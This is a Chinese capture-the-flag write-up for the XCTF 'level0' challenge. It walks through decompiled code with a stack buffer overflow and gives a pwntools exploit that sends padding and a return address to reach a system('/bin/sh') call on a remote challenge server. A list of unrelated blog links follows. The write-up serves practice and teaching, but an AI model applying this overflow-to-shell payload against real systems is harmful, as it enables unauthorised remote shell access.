攻防世界 | level0
2024-09-05 22:14:55
先反编译 :
int __cdecl main(int argc, const char **argv, const char **envp)
{
write(1, "Hello, World\n", 0xDuLL);
return vulnerable_function();
}
追踪一下 "vulnerable_function()" :
ssize_t vulnerable_function()
{
char buf; // [rsp+0h] [rbp-80h]
return read(0, &buf, 0x200uLL);
}
read()函数
原型:ssize_t read(int fd,void*buf,size_t count)
参数说明:
fd: 是文件描述符,对应0
buf: 为读出数据的缓冲区;
count: 为每次读取的字节数(是请求读取的字节数,读上来的数据保
存在缓冲区buf中,同时文件的当前读写位置向后移)
查找字符串发现了shell,找到函数:
int callsystem()
{
return system("/bin/sh");
}
找到入口地址:
找到payload长度:
paylaod:
from pwn import *
r = remote("111.198.29.45",43164)
payload = 'A' * 0x80 + 'a' * 0x8 + p64(0x00400596)
r.sendline(payload)
r.interactive()
最新文章
- swfit-学习笔记(数组的使用)
- 基于Laravel+Swoole开发智能家居后端
- CSS3的transition动画功能
- SQL Server 流程控制
- WPF快速精通版
- C#索引器的作用及使用
- 算法导论(第三版)Problems2(归并插入排序、数列逆序计算)
- hdu4126Genghis Khan the ConquerorGenghis Khan the Conqueror(MST+树形DP)
- oracle忘记密码,修改密码,解锁
- 我使用的Bash脚本模板
- .NET Framework 4.7 安装
- 优化算法:AdaGrad | RMSProp | AdaDelta | Adam
- redis主从同步配置
- book118免费下载文档方法【转】
- 设计模式 -创建型模式 ,python工厂模式 抽象工厂模式(1)
- 您真的会修改Active Directory域控制器计算机名称吗
- idea git 把本地项目上传到github上
- 网络编程协议(TCP和UDP协议,黏包问题)以及socketserver模块
- .NET 开发套装
- Http网络协议